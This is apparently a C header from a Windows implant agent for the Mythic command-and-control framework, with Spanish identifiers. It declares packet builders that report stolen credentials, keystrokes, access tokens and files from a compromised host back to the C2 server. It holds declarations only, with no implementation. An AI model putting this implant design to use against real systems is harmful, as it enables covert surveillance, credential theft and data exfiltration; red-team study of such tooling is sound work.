#pragma once

#ifndef PAQUETE_H
#define PAQUETE_H

#include "utils.h"
#include "transporte.h"
#include "analizador.h"
#include <windows.h>

#define TASK_COMPLETE		0x95
#define TASK_FAILED			0x99

typedef struct {

    PVOID buffer;
    SIZE_T length;

}Paquete, * PPaquete;

PPaquete nuevoPaquete(BYTE idComando, BOOL init);
VOID liberarPaquete(PPaquete paquete);
VOID paqueteCompletado(PCHAR taskUuid, PPaquete datosOpcionales);
PAnalizador mandarPaquete(PPaquete paquete);

BOOL addByte(PPaquete paquete, BYTE byte);
BOOL addInt32(PPaquete paquete, UINT32 valor);
BOOL addInt64(PPaquete paquete, UINT64 valor);
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia);
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia);
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia);

/* Formatted append helper */
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);

/* Artifact helper: adds artifact marker and data to response package */
/* Format: [0xFF marker][artifact_type_len:4][artifact_type][artifact_value_len:4][artifact_value] */
VOID addArtifact(PPaquete paquete, PCHAR artifact_type, PCHAR artifact_value);

/* Credential helper: adds credential marker and data to response package */
/* Format: [0xFE marker][credential_type_len:4][credential_type][realm_len:4][realm][credential_len:4][credential][account_len:4][account] */
/* credential_type must be: plaintext, certificate, hash, key, ticket, or cookie */
VOID addCredential(PPaquete paquete, PCHAR credential_type, PCHAR realm, PCHAR credential, PCHAR account);

/* Download helpers: for file download from agent to Mythic */
/* Format for download registration: [0xFD marker][action:1][full_path_len:4][full_path][total_chunks:4][chunk_size:4] */
/* Format for download chunk: [0xFC marker][file_id_len:4][file_id][chunk_num:4][chunk_data_len:4][chunk_data_base64] */
/* action: 0 = registration, 1 = chunk */
VOID addDownloadRegistration(PPaquete paquete, PCHAR full_path, UINT32 total_chunks, UINT32 chunk_size);
VOID addDownloadChunk(PPaquete paquete, PCHAR file_id, UINT32 chunk_num, PBYTE chunk_data, SIZE_T chunk_data_len);

/* Upload helpers: for file upload from Mythic to agent */
/* Format for upload request: [0xF8 marker][file_id_len:4][file_id][chunk_size:4][chunk_num:4][full_path_len:4][full_path] */
VOID addUploadRequest(PPaquete paquete, PCHAR file_id, UINT32 chunk_size, UINT32 chunk_num, PCHAR full_path);

/* Commands helper: for reporting command add/remove to Mythic */
/* Format: [0xF7 marker][action_len:4][action][cmd_len:4][cmd] */
/* action must be "add" or "remove", cmd is the command name */
VOID addCommand(PPaquete paquete, PCHAR action, PCHAR cmd);

/* Keylog helper: for reporting keystrokes to Mythic */
/* Format: [0xF6 marker][user_len:4][user][title_len:4][title][keys_len:4][keystrokes] */
VOID addKeylog(PPaquete paquete, PCHAR user, PCHAR window_title, PCHAR keystrokes);

/* Token helper: for reporting tokens to Mythic (viewable in Search -> Tokens) */
/* Format: [0xF4 marker][token_id:4][host_len:4][host][description_len:4][description][user_len:4][user][groups_len:4][groups][thread_id:4][process_id:4][default_dacl_len:4][default_dacl][session_id:4][restricted:1][capabilities_len:4][capabilities][logon_sid_len:4][logon_sid][integrity_level_sid:4][app_container_number:4][app_container_sid_len:4][app_container_sid][privileges_len:4][privileges][handle:8] */
VOID addToken(PPaquete paquete, UINT32 token_id, PCHAR host, PCHAR description, PCHAR user, PCHAR groups, 
              UINT32 thread_id, UINT32 process_id, PCHAR default_dacl, UINT32 session_id, BOOL restricted,
              PCHAR capabilities, PCHAR logon_sid, UINT32 integrity_level_sid, UINT32 app_container_number,
              PCHAR app_container_sid, PCHAR privileges, UINT64 handle);

/* Callback token helper: for registering/unregistering tokens for use in tasking */
/* Format: [0xF3 marker][action_len:4][action][host_len:4][host][token_id:4] */
/* action must be "add" or "remove" */
VOID addCallbackToken(PPaquete paquete, PCHAR action, PCHAR host, UINT32 token_id);

/* Callback context helper: for updating callback context (cwd, impersonation_context, etc.) */
/* Format: [0xF0 marker][field_name_len:4][field_name][field_value_len:4][field_value]... */
/* Can be called multiple times to add multiple fields */
/* Common fields: "cwd", "impersonation_context", "pid", "sleep_info", "extra_info" */
VOID addCallbackContext(PPaquete paquete, PCHAR field_name, PCHAR field_value);

#endif